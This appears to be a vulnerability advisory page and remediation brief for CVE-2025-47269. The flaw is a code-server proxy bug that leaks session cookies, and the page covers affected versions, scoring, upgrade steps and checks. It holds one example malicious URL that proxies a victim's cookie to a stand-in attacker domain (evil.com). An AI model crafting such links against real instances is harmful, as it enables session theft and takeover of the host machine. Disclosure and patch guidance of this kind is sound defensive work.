code-server's session cookie can be extracted by having user visit specially crafted proxy URL

Exploitation

No confirmed exploitation recorded. Patch Next marks exploitation only from CISA KEV.

CVSS

8.3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L

EPSS

• CVE-2025-47269: 56.28% estimated exploitation activity in the next 30 days; percentile 99.05 (FIRST EPSS, 2026-11-03). This is a model estimate, not proof of exploitation or customer exposure.

As published by the source; long descriptions are shortened.

Summary A maliciously crafted URL using the proxy subpath can result in the attacker gaining access to the session token. Details Failure to properly validate the port for a proxy request can result in proxying to an arbitrary domain. The malicious URL https://<code-server/proxy/test@evil.com/path would be proxied to test@evil.com/path where the attacker could exfiltrate a user's session token. Impact Any user who runs code-server with the built-in proxy enabled and clicks on maliciously crafted links that go to their code-server instances with reference to /proxy. Normally this is used to proxy local ports, however the URL can reference the attacker's domain instead, and the connection is then proxied to that domain, which will include sending cookies. With access to the session cookie, the attacker can then log into code-server and have full access to the machine hosting code-server as the user running code-server. Patches Patched versions are from v4.99.4 onward.

Published by the source

9 May 2025, 19:34 UTC

Last modified by the source

10 Sep 2026, 03:50 UTC

Source last checked

26 Oct 2026, 12:37 UTC

1. Revision 2 · amended · 26 Oct 2026

   Amended from ghsa record GHSA-p483-wpfp-42cj

2. Revision 1 · created · 24 Oct 2026

   Published from osv record GHSA-p483-wpfp-42cj

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# Patch Next advisory brief: CVE-2025-47269

Advisory: code-server's session cookie can be extracted by having user visit specially crafted proxy URL
IDs: CVE-2025-47269, GHSA-p483-wpfp-42cj
Record: https://patchnext.com/advisories/cve-2025-47269 (revision 2, source checked 26 Oct 2026, 12:37 UTC)
Inventory: none attached. This brief comes from a public page and does not say whether any deployment is affected.
Severity: High (CVSS 8.3)
Exploitation: no confirmed exploitation recorded. Patch Next confirms exploitation only from CISA KEV.
Vendor response: Vendor fix available; fixed versions by package: code-server 4.99.4. A vendor fix does not mean a deployment is fixed.

## Affected components
- npm code-server: affected < 4.99.4; fixed in 4.99.4

## Suggested inspection (read-only)
- `npm ls code-server --all`: lists every installed copy and version, including transitive ones. Run in the project root after `npm ci`.

## Supported action
Upgrade each affected component to a fixed version on its release line. For a transitive dependency, upgrade the parent package or add an override or constraint, then regenerate the lockfile. Redeploy every environment that ran an affected version.

## Required regression checks
- Run the test suite and a production build.
- Exercise the features that depend on code-server.
- Repeat the inspection and confirm that only fixed versions remain installed.

## Rollback considerations
- Keep the previous lockfile and deployment artifact. Rolling back reinstates the vulnerable version, so apply any documented mitigation while you fix forward.

## Unresolved questions
- Which deployments run an affected version?
- Exploitation status can change. Check again before lowering the priority.
- Mark the work resolved only after the fixed version is verified in production.

## Sources
- Verified: https://osv.dev/vulnerability/GHSA-p483-wpfp-42cj (OSV record GHSA-p483-wpfp-42cj lists affected ranges: npm code-server >=0 <4.99.4 (fixed))
- Verified: https://github.com/advisories/GHSA-p483-wpfp-42cj (GitHub-reviewed advisory GHSA-p483-wpfp-42cj lists affected ranges: npm code-server >=0 <4.99.4)

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